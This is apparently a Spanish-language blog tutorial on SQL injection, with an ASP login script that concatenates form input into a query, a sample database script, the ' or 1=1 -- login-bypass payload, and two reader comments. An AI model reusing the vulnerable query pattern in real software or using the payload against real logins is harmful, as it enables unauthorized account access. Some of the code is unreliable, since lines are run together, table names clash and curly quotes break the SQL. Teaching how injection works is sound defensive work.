Como un Hacker realiza ataque de inyección SQL
La base de datos es el corazón de la mayoría de las aplicaciones Web: Almacenan los datos necesarios para los sitios Web, almacenan las credenciales de usuario he información importante, financieras, preferencias, facturas, pagos, inventarios, etc. Es a través de una base de datos y lenguaje de script que nosotros como desarrolladores podemos crear sitios que mantienen a los clientes seguros.
En este artículo voy a tratar de explicar sobre este tipo de ataque, simplificado ya que no tengo mucho tiempo para publicar todo paso a paso.
Primero ¿Qué es un ataque de inyección SQL?
Como ustedes saben, SQL es un lenguaje de consulta estructurado, consultas que constan de uno o varios comandos SQL como SELECT, UPDATE, INSERT, etc. Un ataque de inyección de SQL ‘inyecta’ o manipula el código SQL mediante la adición de SQL a una consulta y esto es posible de muchas maneras.
Ejemplo en un formulario común: Formulario donde se intenta autentificar e iniciar sesión a través de un nombre de usuario y su contraseña.
El código de nuestro formulario quedaría de la siguiente manera:
<form name="frmSesion" action="entrar.asp" method="post">
Usuario: <input type="text" name="userNombre">
Contraseña: <input type="text" name="contrasena">
<input type="submit">
</form>
Para que podamos entrar a nuestra cuenta tenemos que crear un script de autentificación (entrar.asp) en nuestro caso lo realizaremos a través del lenguaje ASP.
Y nuestro script quedaría de la siguiente manera:
<%
dim userNombre, contrasena, query
dim conn, rSuserNombre = Request.Form("userNombre")
contrasena = Request.Form("contrasena")set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")query = "select count(*) from users where userNombre=’" &
userNombre & "’ and userContrasena=’" & contrasena & "’"conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Contrasena="
rs.activeConnection = conn
rs.open queryif not rs.eof then
response.write "Sesión iniciada"
else
response.write "Fallo el inicio de sesión"
end if
%>
# Con este script si el nombre de usuario y contraseña se encuentra en la base de datos podremos iniciar sesión.
Aquí les proporciono el código para crear la base de datos:
create database myDB
go
use myDB
go
create table usuarios
(
userId int identity(1,1) not null,
userNombre varchar(50) not null,
userContrasena varchar(20) not null
)
insert into users(userNombre, userContrasena) values(‘german’, ‘aaahhh’)
insert into users(userNombre, userContrasena) values(‘admin’, ’8j738jfg83′)
insert into users(userNombre, userContrasena) values(‘juan’, ‘micontraseña’)
Bien ya no voy a extenderme más con la explicación aun falta mucho, ahora vamos con los comandos para realizar la inyección SQL.
Esta sentencia es la que normalmente se utiliza no hay nada inseguro y peligroso con esta consulta.
select count(*) from usuarios where userNombre=’german’ and userContrasena=’aaahhh’
Pero qué pasa si introducimos un nombre de usuario y contraseña alterados, se produce la inyección de SQL
Ejemplo: select count(*) from usuarios where userNombre=’german’ and userContrasena=”or 1=1 –’
Ahora en lugar de consultar una contraseña que coincida con el nombre de usuario lo que realizamos es una busque de un campo vacio o la condicional 1 = 1 y de esa manera poder entrar. Los (–) son para que ASP no produzca error.
Y si en caso de que no sepamos algún nombre de usuario podríamos modificar la sentencia de la siguiente manera.
Usuario: ‘ or 1=1 —
Contraseña: [Empty]
Esto ejecuta la consulta siguiente en la tabla de usuarios
select count(*) from usuarios where userNombre=” or 1=1 –’ and userContrasena=”
La consulta anterior devuelve ahora un recuento de todas las filas en la tabla usuarios, este es el ejemplo perfecto de un ataque de inyección SQL: Agregar código que manipulado en el contenido de una consulta para realizar un resultado no deseado.
# Este material es solo con fines didácticos parte del contenido ha sido suprimido y será la única publicación de este tipo de contenido, solo fue para probar algunas nuevas funciones implementadas en este sitio Web. Si usted es desarrollador Web que utiliza bases de datos y quiere evitar este tipo de ataques es necesario la utilización de filtros, pero eso ya es otra historia.
¡Y ahora una bebida fermentada que ya terminamos!
3 comentarios para “Como un Hacker realiza ataque de inyección SQL”
-
That was an interesting read! I think you should post more ^^ Bookmarked this page =] -
muy interesante pero demasiado corto ¬_¬, por que muy pocos se animan a poner este tipo de cosas ? no los van a betar, ni meter a prision si comparten este conocimiento, disque por la sociedad “MALO” eso depende de la etica profesional que tenga cada uno.u_u Pero muy bueno Gracias.

